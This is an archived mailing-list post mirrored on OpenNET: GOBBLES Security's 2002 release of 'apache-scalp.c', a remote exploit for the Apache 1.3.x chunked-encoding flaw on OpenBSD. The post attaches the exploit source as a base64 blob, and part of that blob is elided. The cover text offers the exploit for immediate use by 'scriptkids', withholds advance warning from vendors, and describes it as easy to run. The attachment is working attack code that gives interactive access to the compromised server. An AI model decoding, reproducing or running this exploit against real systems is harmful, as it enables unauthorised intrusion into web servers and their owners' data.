The OpenNET Project / Index page
BSD, Linux, Cisco, Web, Palm, other unix
RUSSIAN version

Search
Выпущена CD-версия OpenNet.RU для оффлайн просмотра.
Для формирования заказа - перейдите по ссылке
.
SOFT - Unix Software catalog
LINKS - Unix resources
TOPIC - Articles from usenet
DOCUMENTATION - Unix guides
News | Tips | MAN | Forum | BUGs | LastSoft | Keywords | BOOKS (selected) | Linux HowTo | FAQ Archive

Remote Apache 1.3.x Exploit


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Wed, 19 Jun 2002 12:45:24 -0700
From: gobbles@hushmail.com
To: vulndev@vulndev.org, submissions@packetstormsecurity.org,
Subject: Remote Apache 1.3.x Exploit

--Hush_boundary-3d10df5419f3c
Content-type: text/plain

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

This is for immediate release.  This may not be sent to any "advanced warning system", such as ARIS.  This was written for the community, and not just a few companies with deep pockets full of the big dollar.

Attached is a remote Apache 1.3.X exploit for the "chunking" vulnerability.  This version of the exploit works only on OpenBSD.  "Experts" have argued as to why this is not exploitable on x86/*nix.  This version of the exploit has been modified to convince these "experts" that they are wrong.  Further, it is very ./friendly and all scriptkids/penetration testers should be able to run it without any trouble.

My God have mercy on our souls.

- -GOBBLES Security

-----BEGIN PGP SIGNATURE-----
Version: Hush 2.1
Note: This signature can be verified at https://www.hushtools.com

wlwEARECABwFAj0Q3g8VHGdvYmJsZXNAaHVzaG1haWwuY29tAAoJEBzRp5chmbAP7R0A
nRyuMq0D8z0T6bg++HH27mGXyPqlAJ9l6Qv8h/5+2pvnn6nJ+sUUZdeebw==
=5v5m
-----END PGP SIGNATURE-----

--Hush_boundary-3d10df5419f3c
Content-type: application/octet-stream; name="apache-scalp.c"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="apache-scalp.c"

LyoKICogYXBhY2hlLXNjYWxwLmMKICogT1BFTkJTRC9YODYgQVBBQ0hFIFJFTU9URSBFWFBMT0lU
ISEhISEhISAKICogCiAqIFJPQlVTVCwgU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HN0cmxl
bihleHBidWYpKTsKCQkJCQkJb3duZWQrKzsKCQkJCQl9CgoJCQkJCXdyaXRlKDEsIGJ1Ziwgbik7
CgkJCQl9CgoJCQkJaWYoRkRfSVNTRVQoMCwgJmZkcykpIHsKCQkJCQlpZigobiA9IHJlYWQoMCwg
YnVmLCBzaXplb2YoYnVmKSAtIDEpKSA8IDApCgkJCQkJCWV4aXQoMSk7CgoJCQkJCXdyaXRlKHNv
Y2ssIGJ1Ziwgbik7CgkJCQl9CgkJCX0KCgkJCWlmKCFvd25lZCkKCQkJCWJyZWFrOwoJCX0KCgkJ
ZnJlZShleHBidWYpOwoJCWNsb3NlKHNvY2spOwoKCQlpZihvd25lZCkKCQkJcmV0dXJuIDA7CgoJ
CWlmKCFicnV0ZWZvcmNlKSB7CgkJCWZwcmludGYoc3RkZXJyLCAiT29vcHMuLiBoZWhlaGUhXG4i
KTsKCQkJcmV0dXJuIC0xOwoJCX0KCX0KCglyZXR1cm4gMDsKfQo=
--Hush_boundary-3d10df5419f3c
Content-type: text/plain; name="apache-scalp.c.sig"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="apache-scalp.c.sig"

LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0NClZlcnNpb246IEh1c2ggMi4xDQpOb3RlOiBU
aGlzIHNpZ25hdHVyZSBjYW4gYmUgdmVyaWZpZWQgYXQgaHR0cHM6Ly93d3cuaHVzaHRvb2xzLmNv
bQ0KDQp3ajhEQlFBOUVOMmtITkdubHlHWnNBOFJBc3pKQUtDNmdNN1JuZjhwM2ZXdFlLU0RCZ2tz
MkxpWkdBQ2duZXhFWXlLaQ0KVzdhL1dXRWphUEFEcXJVTlpEcz0NCj13Z1FMDQotLS0tLUVORCBQ
R1AgU0lHTkFUVVJFLS0tLS0NCg==
--Hush_boundary-3d10df5419f3c--

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Закладки
Добавить в закладки
Created 1996-2003 by Maxim Chirkov  
ДобавитьРекламаВебмастеруЦУПГИД  
SpyLOG TopList
RB2 Network.
RB2 Network.